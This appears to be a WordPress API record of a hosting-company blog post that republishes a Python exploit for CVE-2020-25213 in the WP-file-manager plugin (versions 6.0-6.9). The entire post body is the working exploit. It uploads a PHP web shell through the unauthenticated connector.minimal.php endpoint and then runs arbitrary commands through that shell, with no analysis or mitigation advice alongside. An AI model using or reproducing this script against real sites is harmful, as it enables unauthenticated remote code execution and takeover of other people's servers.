{"id":39902,"date":"2023-04-03T22:48:38","date_gmt":"2023-04-03T18:48:38","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/171650\/wpfilemanager69-shell.txt"},"modified":"2023-04-10T13:21:32","modified_gmt":"2023-04-10T08:51:32","slug":"wordpress-file-manager-6-9-shell-upload-wp-file-manager","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-file-manager-6-9-shell-upload-wp-file-manager\/","title":{"rendered":"WordPress File Manager 6.9 Shell Upload WP-file-manager"},"content":{"rendered":"<p>#!\/usr\/bin\/env<\/p>\n<p># Exploit Title: WP-file-manager v6.9 &#8211; Unauthenticated Arbitrary File Upload leading to RCE<br \/>\n# Date: [ 22-01-2023 ]\n# Exploit Author: [BLY]\n# Vendor Homepage: [https:\/\/wpscan.com\/vulnerability\/10389]\n# Version: [ File Manager plugin 6.0-6.9]\n# Tested on: [ Debian ]\n# CVE : [ CVE-2020-25213 ]\n<p>import sys,signal,time,requests<br \/>\nfrom bs4 import BeautifulSoup<br \/>\n#from pprint import pprint<\/p>\n<p>def handler(sig,frame):<br \/>\nprint (&#8220;[!]Saliendo&#8221;)<br \/>\nsys.exit(1)<\/p>\n<p>signal.signal(signal.SIGINT,handler)<\/p>\n<p>def commandexec(command):<\/p>\n<p>exec_url = url+&#8221;\/wp-content\/plugins\/wp-file-manager\/lib\/php\/..\/files\/shell.php&#8221;<br \/>\nparams = {<br \/>\n&#8220;cmd&#8221;:command<br \/>\n}<\/p>\n<p>r=requests.get(exec_url,params=params)<\/p>\n<p>soup = BeautifulSoup(r.text, &#8216;html.parser&#8217;)<br \/>\ntext = soup.get_text()<\/p>\n<p>print (text)<br \/>\ndef exploit():<\/p>\n<p>global url<\/p>\n<p>url = sys.argv[1]\ncommand = sys.argv[2]\nupload_url = url+&#8221;\/wp-content\/plugins\/wp-file-manager\/lib\/php\/connector.minimal.php&#8221;<\/p>\n<p>headers = {<br \/>\n&#8216;content-type&#8217;: &#8220;multipart\/form-data; boundary=&#8212;-WebKitFormBoundaryvToPIGAB0m9SB1Ww&#8221;,<br \/>\n&#8216;Connection&#8217;: &#8220;close&#8221;<br \/>\n}<\/p>\n<p>payload = &#8220;&#8212;&#8212;WebKitFormBoundaryvToPIGAB0m9SB1Ww\\r\\nContent-Disposition: form-data; name=\\&#8221;cmd\\&#8221;\\r\\n\\r\\nupload\\r\\n&#8212;&#8212;WebKitFormBoundaryvToPIGAB0m9SB1Ww\\r\\nContent-Disposition: form-data; name=\\&#8221;target\\&#8221;\\r\\n\\r\\nl1_Lw\\r\\n&#8212;&#8212;WebKitFormBoundaryvToPIGAB0m9SB1Ww\\r\\nContent-Disposition: form-data; name=\\&#8221;upload[]\\&#8221;; filename=\\&#8221;shell.php\\&#8221;\\r\\nContent-Type: application\/x-php\\r\\n\\r\\n&lt;?php echo \\&#8221;&lt;pre&gt;\\&#8221; . shell_exec($_REQUEST[&#8216;cmd&#8217;]) . \\&#8221;&lt;\/pre&gt;\\&#8221;; ?&gt;\\r\\n&#8212;&#8212;WebKitFormBoundaryvToPIGAB0m9SB1Ww&#8211;&#8221;<\/p>\n<p>try:<br \/>\nr=requests.post(upload_url,data=payload,headers=headers)<br \/>\n#pprint(r.json())<br \/>\ncommandexec(command)<br \/>\nexcept:<br \/>\nprint(&#8220;[!] Algo ha salido mal&#8230;&#8221;)<\/p>\n<p>def help():<\/p>\n<p>print (&#8220;\\n[*] Uso: python3&#8243;,sys.argv[0],&#8221;\\&#8221;url\\&#8221; \\&#8221;comando\\&#8221;&#8221;)<br \/>\nprint (&#8220;[!] Ejemplo: python3&#8243;,sys.argv[0],&#8221;http:\/\/wordpress.local\/ id&#8221;)<\/p>\n<p>if __name__ == &#8216;__main__&#8217;:<\/p>\n<p>if len(sys.argv) != 3:<br \/>\nhelp()<\/p>\n<p>else:<br \/>\nexploit()<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#!\/usr\/bin\/env # Exploit Title: WP-file-manager v6.9 &#8211; Unauthenticated Arbitrary File Upload leading to RCE # Date: [ 22-01-2023 ] # Exploit Author: [BLY] # Vendor Homepage: [https:\/\/wpscan.com\/vulnerability\/10389] # Version: [ File Manager plugin 6.0-6.9] # Tested on: [ Debian ] # CVE : [ CVE-2020-25213 ] import sys,signal,time,requests from bs4 import BeautifulSoup #from pprint import &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-39902","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/39902","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=39902"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/39902\/revisions"}],"predecessor-version":[{"id":40194,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/39902\/revisions\/40194"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=39902"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=39902"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=39902"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}